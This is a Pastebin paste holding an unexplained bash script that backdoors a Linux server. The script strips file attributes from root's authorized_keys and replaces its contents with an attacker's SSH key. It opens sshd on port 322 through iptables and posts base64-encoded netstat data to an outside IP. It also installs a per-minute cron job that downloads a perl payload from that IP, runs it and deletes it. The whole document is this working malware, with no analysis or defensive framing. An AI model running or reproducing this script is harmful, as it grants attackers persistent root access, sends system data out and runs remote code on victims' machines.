Advertisement
Guest User

Untitled

a guest
Mar 27th, 2020
373
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.33 KB | None | 0 0
  1. #!/bin/bash
  2. exists=$(grep -c "^jkl:" /etc/passwd)
  3. if [ $exists -eq 0 ]; then
  4. chattr -isa /root/.ssh/authorized_keys
  5. echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCtI3JzaABDotq1IL3m3KCpwMdGCY+Jr5CGbnznw4QPvVh139jplKrTxm7/3bLdfiLXtkmZfQBiWykH1zi0boA4Tdpw2VJAP9cJL7aru3yX6Zp9Ipo8BdwHHx/KCvLeT9zXosdFCGMyrLZySvhLs3ndqcKOLnQiEAwctaMQxH6hyuRo7Ao5xHTQuYHPVLjNQcZ4as2lFmSEHciPaRda7qgOapWXJdFscwiCyfjxoXOvhRLIb9zVuyvYIc+/X3lufaBrr5G7ElnEfV9/82D9GEOfIXXmLpbSmk5jnu66AXPk4KepTzFx3orvQA7Vk84YsWQDxcyiw78nCvICk1S30YtJ root@' >/root/.ssh/authorized_keys
  6. /usr/sbin/sshd -p 322
  7. /sbin/iptables -I OUTPUT -p tcp --dport 322 -j ACCEPT >/dev/null 2>&1
  8. /sbin/iptables -I INPUT -p tcp --dport 322 -j ACCEPT >/dev/null 2>&1
  9. /sbin/iptables-save >/dev/null 2>&1
  10. /usr/sbin/iptables -I OUTPUT -p tcp --dport 322 -j ACCEPT >/dev/null 2>&1
  11. /usr/sbin/iptables -I INPUT -p tcp --dport 322 -j ACCEPT >/dev/null 2>&1
  12. /usr/sbin/iptables-save >/dev/null 2>&1
  13. data2=`netstat -natp |grep sshd|base64`
  14. wget -q --post-data "DATA=dGlua2QK&DATA2=$data2" 45.148.10.84/.z/p.php -O /dev/null
  15. cd /tmp
  16. echo 'cd /tmp;wget 45.148.10.84/r.png;perl r.png;rm -fr r.png' > twink
  17. echo 'crontab -l|grep -v twink > /tmp/mycron;crontab /tmp/mycron;rm -fr /tmp/twink' >> twink
  18. echo '* * * * * /tmp/twink' >mycron
  19. crontab -l >> mycron
  20. chmod +x /tmp/twink
  21. crontab mycron;rm -fr mycron
  22. else
  23. exit
  24. fi
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement